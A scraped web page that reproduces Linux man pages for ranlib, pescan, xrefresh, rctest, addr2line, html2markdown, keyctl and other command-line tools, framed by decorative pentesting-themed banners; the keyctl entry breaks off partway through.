             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

997 - Linux cli command i686-w64-mingw32-ranlib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-ranlib and provides detailed information about the command i686-w64-mingw32-ranlib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-ranlib.

NAME 🖥️ i686-w64-mingw32-ranlib 🖥️

generate an index to an archive

SYNOPSIS

ranlib [–plugin name] [-DhHvVt] archive

DESCRIPTION

ranlib generates an index to the contents of an archive and stores it in the archive. The index lists each symbol defined by a member of an archive that is a relocatable object file.

You may use nm -s or nm –print-armap to list this index.

An archive with such an index speeds up linking to the library and allows routines in the library to call each other without regard to their placement in the archive.

The GNU ranlib program is another form of GNU ar; running ranlib is completely equivalent to executing ar -s.

OPTIONS

-h

-H

–help

Show usage information for ranlib.

-v

-V

–version

Show the version number of ranlib.

-D
Operate in deterministic mode. The symbol map archive member’s header will show zero for the UID, GID, and timestamp. When this option is used, multiple runs will produce identical output files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, described below.

-t
Update the timestamp of the symbol map of an archive.

-U
Do not operate in deterministic mode. This is the inverse of the -D option, above: the archive index will get actual UID, GID, timestamp, and file mode values. If binutils was configured without –enable-deterministic-archives, then this mode is on by default.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

998 - Linux cli command pescan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pescan and provides detailed information about the command pescan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pescan.

NAME 🖥️ pescan 🖥️

identify suspicious characteristics in PE files

SYNOPSIS

pescan [OPTIONS]… pefile

DESCRIPTION

pescan analyze a PE file statically to determine if it contains suspicious characteristics. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-f, –format <text|csv|xml|html>
Change output format (default is text).

-v, –verbose
Show more information about found items.

-V, –version
Show version.

–help
Show help.

EXAMPLES

Search suspicious things in putty.exe:

$ pescan putty.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), peldd(1), pepack(1), peres(1), pesec(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2013 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

999 - Linux cli command ppmcolors

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmcolors and provides detailed information about the command ppmcolors, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmcolors.

.

NAME 🖥️ ppmcolors 🖥️

obsolete

DESCRIPTION

ppmcolors is obsolete. The more general program pamseq(1) took its place in June 2002.

ppmcolors remains for backward compatibility, but all it does is run pamseq. It is slower and less flexible than running pamseq directly.

SEE ALSO

pamseq(1) ppm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmcolors.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1000 - Linux cli command xrefresh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xrefresh and provides detailed information about the command xrefresh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xrefresh.

NAME 🖥️ xrefresh 🖥️

refresh all or part of an X screen

SYNOPSIS

xrefresh [-option …]

DESCRIPTION

Xrefresh is a simple X program that causes all or part of your screen to be repainted. This is useful when system messages have messed up your screen. Xrefresh maps a window on top of the desired area of the screen and then immediately unmaps it, causing refresh events to be sent to all applications. By default, a window with no background is used, causing all applications to repaint ``smoothly.’’ However, the various options can be used to indicate that a solid background (of any color) or the root window background should be used instead.

ARGUMENTS

-white
Use a white background. The screen just appears to flash quickly, and then repaint.

-black
Use a black background. This can be somewhat disorienting as everything goes black for a moment.

-solid color
Use a solid background of the specified color. Try green.

-root
Use the root window background.

-none
This is the default. All of the windows simply repaint.

-geometry WxH+X+Y
Specifies the portion of the screen to be repainted; see X(7).

-display display
This argument allows you to specify the server and screen to refresh; see X(7).

-version
This argument prints the program version and exits.

X DEFAULTS

The xrefresh program uses the routine XGetDefault(3) to read defaults, so its resource names are all capitalized.

Black, White*,* Solid*,* None*,* Root**
Determines what sort of window background to use.

Geometry
Determines the area to refresh. Not very useful.

ENVIRONMENT

DISPLAY - To get default host and display number.

SEE ALSO

X(7)

BUGS

It should have just one default type for the background.

AUTHORS

Jim Gettys, Digital Equipment Corp., MIT Project Athena

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1001 - Linux cli command rctest

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rctest and provides detailed information about the command rctest, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rctest.

NAME 🖥️ rctest 🖥️

RFCOMM testing

SYNOPSIS

rctest <MODE> [OPTIONS] [bdaddr]

DESCRIPTION

rctest(1) is used to test RFCOMM communications on the BlueZ stack

MODES

-r
listen and receive

-w
listen and send

-d
listen and dump incoming data

-s
connect and send

-u
connect and receive

-n
connect and be silent

-c
connect, disconnect, connect, …

-m
multiple connects

OPTIONS

-b* bytes*
send/receive bytes

-i* device*
select the specified device

-P* channel*
select the specified channel

-U* uuid*
select the specified uuid

-L* seconds*
enable SO_LINGER options for seconds

-W* seconds*
enable deferred setup for seconds

-B* filename*
use data packets from filename

-N* num*
send num frames

-C* num*
send num frames before delay (default: 1)

-D* milliseconds*
delay milliseconds after sending num frames (default: 0)

-A
request authentication

-E
request encryption

-S
secure connection

-M
become central

-T
enable timestamps

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Maxim Krasnyansky <[email protected]>, Marcel Holtmann <[email protected]>, Filippo Giunchedi <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1002 - Linux cli command llvm-cxxmap-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-cxxmap-16 and provides detailed information about the command llvm-cxxmap-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-cxxmap-16.

NAME 🖥️ llvm-cxxmap-16 🖥️

cxxmap - Mangled name remapping tool

SYNOPSIS

llvm-cxxmap [options] symbol-file-1 symbol-file-2

DESCRIPTION

The llvm-cxxmap tool performs fuzzy matching of C++ mangled names, based on a file describing name components that should be considered equivalent.

The symbol files should contain a list of C++ mangled names (one per line). Blank lines and lines starting with # are ignored. The output is a list of pairs of equivalent symbols, one per line, of the form

where <symbol-1> is a symbol from symbol-file-1 and <symbol-2> is a symbol from symbol-file-2. Mappings for which the two symbols are identical are omitted.

OPTIONS

-remapping-file=file, -r=file
Specify a file containing a list of equivalence rules that should be used to determine whether two symbols are equivalent. Required. See REMAPPING FILE.

-output=file, -o=file
Specify a file to write the list of matched names to. If unspecified, the list will be written to stdout.

-Wambiguous
Produce a warning if there are multiple equivalent (but distinct) symbols in symbol-file-2.

-Wincomplete
Produce a warning if symbol-file-1 contains a symbol for which there is no equivalent symbol in symbol-file-2.

REMAPPING FILE

The remapping file is a text file containing lines of the form

fragmentkind fragment1 fragment2

where fragmentkind is one of name, type, or encoding, indicating whether the following mangled name fragments are <name>s, <type>s, or <encoding>s, respectively. Blank lines and lines starting with # are ignored.

Unmangled C names can be expressed as an encoding that is a (length-prefixed) <source-name>:

C function “void foo_bar()” is remapped to C++ function “void foo::bar()”.

encoding 7foo_bar _Z3foo3barv

For convenience, built-in <substitution>s such as St and Ss are accepted as <name>s (even though they technically are not <name>s).

For example, to specify that absl::string_view and std::string_view should be treated as equivalent, the following remapping file could be used:

absl::string_view is considered equivalent to std::string_view

type N4absl11string_viewE St17basic_string_viewIcSt11char_traitsIcEE

# std:: might be std::__1:: in libc++ or std::__cxx11:: in libstdc++
name St St3__1
name St St7__cxx11

NOTE:

Symbol remapping is currently only supported for C++ mangled names following the Itanium C++ ABI mangling scheme. This covers all C++ targets supported by Clang other than Windows targets.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1003 - Linux cli command x86_64-w64-mingw32ucrt-addr2line

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-addr2line and provides detailed information about the command x86_64-w64-mingw32ucrt-addr2line, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-addr2line.

NAME 🖥️ x86_64-w64-mingw32ucrt-addr2line 🖥️

convert addresses or symbol+offset into file names and line numbers

SYNOPSIS

addr2line [-a|–addresses] [-b bfdname|–target=bfdname] [-C|–demangle[=style]] [-r|–no-recurse-limit] [-R|–recurse-limit] [-e filename|–exe=filename] [-f|–functions] [-s|–basename] [-i|–inlines] [-p|–pretty-print] [-j|–section=name] [-H|–help] [-V|–version] [addr addr …]

DESCRIPTION

addr2line translates addresses or symbol+offset into file names and line numbers. Given an address or symbol+offset in an executable or an offset in a section of a relocatable object, it uses the debugging information to figure out which file name and line number are associated with it.

The executable or relocatable object to use is specified with the -e option. The default is the file a.out. The section in the relocatable object to use is specified with the -j option.

addr2line has two modes of operation.

In the first, hexadecimal addresses or symbol+offset are specified on the command line, and addr2line displays the file name and line number for each address.

In the second, addr2line reads hexadecimal addresses or symbol+offset from standard input, and prints the file name and line number for each address on standard output. In this mode, addr2line may be used in a pipe to convert dynamically chosen addresses.

The format of the output is FILENAME:LINENO. By default each input address generates one line of output.

Two options can generate additional lines before each FILENAME:LINENO line (in that order).

If the -a option is used then a line with the input address is displayed.

If the -f option is used, then a line with the FUNCTIONNAME is displayed. This is the name of the function containing the address.

One option can generate additional lines after the FILENAME:LINENO line.

If the -i option is used and the code at the given address is present there because of inlining by the compiler then additional lines are displayed afterwards. One or two extra lines (if the -f option is used) are displayed for each inlined function.

Alternatively if the -p option is used then each input address generates a single, long, output line containing the address, the function name, the file name and the line number. If the -i option has also been used then any inlined functions will be displayed in the same manner, but on separate lines, and prefixed by the text (inlined by).

If the file name or function name can not be determined, addr2line will print two question marks in their place. If the line number can not be determined, addr2line will print 0.

When symbol+offset is used, +offset is optional, except when the symbol is ambigious with a hex number. The resolved symbols can be mangled or unmangled, except unmangled symbols with + are not allowed.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-a

–addresses

Display the address before the function name, file and line number information. The address is printed with a 0x prefix to easily identify it.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

-e filename

–exe=filename

Specify the name of the executable for which addresses should be translated. The default file is a.out.

-f

–functions

Display function names as well as file and line number information.

-s

–basenames

Display only the base of each file name.

-i

–inlines

If the address belongs to a function that was inlined, the source information for all enclosing scopes back to the first non-inlined function will also be printed. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-j

–section

Read offsets relative to the specified section instead of absolute addresses.

-p

–pretty-print

Make the output more human friendly: each location are printed on one line. If option -i is specified, lines for all enclosing scopes are prefixed with (inlined by).

-r

-R

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected. The -r option is a synonym for the –no-recurse-limit option. The -R option is a synonym for the –recurse-limit option. Note this option is only effective if the -C or –demangle option has been enabled.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1004 - Linux cli command html2markdown

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command html2markdown and provides detailed information about the command html2markdown, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the html2markdown.

NAME 🖥️ html2markdown 🖥️

converts a page of HTML into markdown.

SYNOPSIS

html2markdown [options…] [(filename|url) [encoding]]

DESCRIPTION

html2markdown downloads the specified HTML page, and converts it to text marked up with markdown. The source HTML page may be a local file or remote URL. If not specified, it will be read from standard input. The output is printed to standard output.

If an encoding is specified, it will override any encoding information provided by the HTTP Server. When not specified, python-feedparser (if available) will be used to determine the source encoding. If not available, or when reading local files, the encoding is assumed to be UTF-8.

OPTIONS

–default-image-alt=TEXT
The default alt string for images with missing ones.

–pad-tables
Pad the cells to equal column width in tables.

–no-wrap-links
Don’t wrap long links.

–wrap-list-items
Wrap long list items.

–wrap-tables
Wrap long table rows.

–ignore-emphasis
Don’t include any formatting for emphasis.

–reference-links
Use reference style links instead of in-line links.

–ignore-links
Don’t include any formatting for links.

–ignore-mailto-links
Don’t include any formatting for mailto: links.

–protect-links
Protect links from line breaks surrounding them with angle brackets.

–ignore-images
Don’t include any formatting for images.

–images-as-html
Always write image tags as row html; preserves height, width and alt if possible.

–images-to-alt
Discard image data, only keep alt text.

–images-with-size
Write image tags with height and width attrs as raw html to retain dimensions.

-g, –google-doc
Convert an html-exported Google Document.

-d, –dash-unordered-list
Use a dash rather than a star for unordered list items.

-e, –asterisk-emphasis
Use an asterisk rather than an underscore for emphasized text.

-b BODY_WIDTH, –body-width=BODY_WIDTH
Number of characters per output line, 0 for no wrap.

-i LIST_INDENT, –google-list-indent=LIST_INDENT
Number of pixels Google indents nested lists.

-s, –hide-strikethrough
Hide strike-through text. Only relevant when -g is specified as well.

–escape-all
Escape all special characters. Output is less readable, but avoids corner case formatting issues.

–bypass-tables
Format tables in HTML rather than Markdown syntax.

–ignore-tables
Ignore table-related tags (table, th, td, tr) while keeping rows.

–single-line-break
Use a single line break after a block element rather than two line breaks. NOTE: Requires –body-width=0.

–unicode-snob
Use unicode throughout document.

–no-automatic-links
Do not use automatic links wherever applicable.

–no-skip-internal-links
Do not skip internal links.

–links-after-para
Put links after each paragraph instead of document.

–mark-code
Mark program code blocks with [code][/code].

–decode-errors=DECODE_ERRORS
What to do in case of decode errors. ignore, strict, and replace are acceptable values.

–open-quote=CHAR
The character used to open quotes.

–close-quote=CHAR
The character used to clone quotes.

–include-sup-sub
Include the sup and sub tags.

–version
Show program’s version number and exit.

-h, –help
Show a help message and exit.

AUTHOR

This manpage was written for Debian, by Stefano Rivera <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1005 - Linux cli command keyctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command keyctl and provides detailed information about the command keyctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the keyctl.

NAME 🖥️ keyctl 🖥️

key management facility control

SYNOPSIS

keyctl –version
keyctl supports [<cap> | –raw]
keyctl id [<keyring>]
keyctl show [-x] [<keyring>]
keyctl add [-x] <type> <desc> <data> <keyring>
keyctl padd [-x] <type> <desc> <keyring>
keyctl request <type> <desc> [<dest_keyring>]
keyctl request2 <type> <desc> <info> [<dest_keyring>]
keyctl prequest2 <type> <desc> [<dest_keyring>]
keyctl update [-x] <key> <data>
keyctl pupdate [-x] <key>
keyctl newring <name> <keyring>
keyctl revoke <key>
keyctl clear <keyring>
keyctl link <key> <keyring>
keyctl unlink <key> [<keyring>]
keyctl move [-f] <key> <from_keyring> <to_keyring>
keyctl search <keyring> <type> <desc> [<dest_keyring>]
keyctl restrict_keyring <keyring> [<type> [<restriction>]]
keyctl read <key>
keyctl pipe <key>
keyctl print <key>
keyctl list <keyring>
keyctl rlist <keyring>
keyctl describe <keyring>
keyctl rdescribe <keyring> [sep]
keyctl chown <key> <uid>
keyctl chgrp <key> <gid>
keyctl setperm <key> <mask>
keyctl new_session [<name>]
keyctl session
keyctl session - [<prog> <arg1> <arg2> …]
keyctl session <name> [<prog> <arg1> <arg2> …]
keyctl instantiate [-x] <key> <data> <keyring>
keyctl pinstantiate [-x] <key> <keyring>
keyctl negate <key> <timeout> <keyring>
keyctl reject <key> <timeout> <error> <keyring>
keyctl timeout <key> <timeout>
keyctl security <key>
keyctl reap [-v]
keyctl purge <type>
keyctl purge [-i] [-p] <type> <desc>
keyctl purge -s <type> <desc>
keyctl get_persistent <keyring> [<uid>]
keyctl dh_compute <private> <prime> <base>
keyctl dh_compute_kdf <private> <prime> <base> <output_length> <hash_type>
keyctl dh_compute_kdf_oi [-x] <private> <prime> <base> <output_length> <hash_type>
keyctl pkey_query <key> <pass> [k=v]*
keyctl pkey_encrypt <key> <pass> <datafile> [k=v]* ><encfile>
keyctl pkey_decrypt <key> <pass> <encfile> [k=v]* ><datafile>
keyctl pkey_sign <key> <pass> <datafile> [k=v]* ><sigfile>
keyctl pkey_decrypt <key> <pass> <datafile> <sigfile> [k=v]*
keyctl watch [-f<filters>] <key>
keyctl watch_add <fd> <key>
keyctl watch_rm <fd> <key>
keyctl watch_session [-f <filters>] [-n <name>] \ <notifylog> <gclog> <fd> <prog> [<arg1> <arg2> …]

DESCRIPTION

This program is used to control the key management facility in various ways using a variety of subcommands.

KEY IDENTIFIERS

The key identifiers passed to or returned from keyctl are, in general, positive integers. There are, however, some special values with special meanings that can be passed as arguments:

No key: 0
Thread keyring: @t or -1
Each thread may have its own keyring. This is searched first, before all others. The thread keyring is replaced by (v)fork, exec and clone.

Process keyring: @p or -2
Each process (thread group) may have its own keyring. This is shared between all members of a group and will be searched after the thread keyring. The process keyring is replaced by (v)fork and exec.

Session keyring: @s or -3
Each process subscribes to a session keyring that is inherited across (v)fork, exec and clone. This is searched after the process keyring. Session keyrings can be named and an extant keyring can be joined in place of a process’s current session keyring.

User specific keyring: @u or -4
This keyring is shared between all the processes owned by a particular user. It isn’t searched directly, but is normally linked to from the session keyring.

User default session keyring: @us or -5
This is the default session keyring for a particular user. Login processes that change to a particular user will bind to this session until another session is set.

Group specific keyring: @g or -6
This is a place holder for a group specific keyring, but is not actually implemented yet in the kernel.

Assumed request_key authorisation key: @a or -7
This selects the authorisation key provided to the request_key() helper to permit it to access the callers keyrings and instantiate the target key.

Keyring by name: %:<name>
A named keyring. This will be searched for in the process’s keyrings and in /proc/keys.

Key by name: %<type>:<name>
A named key of the given type. This will be searched for in the process’s keyrings and in /proc/keys.

COMMAND SYNTAX

Any non-ambiguous shortening of a command name may be used in lieu of the full command name. This facility should not be used in scripting as new commands may be added in future that then cause ambiguity.

Display the package version number

keyctl –version

This command prints the package version number and build date and exits:

$ keyctl –version keyctl from keyutils-1.5.3 (Built 2011-08-24)

Query subsystem capabilities

keyctl supports
keyctl supports --raw
keyctl supports <cap>

This command can list the available capabilities:

$ keyctl supports have_capabilities=0 have_persistent_keyrings=1 have_dh_compute=1 have_public_key=1

produce a raw hex dump of the capabilities list:

$ keyctl supports –raw ff0f

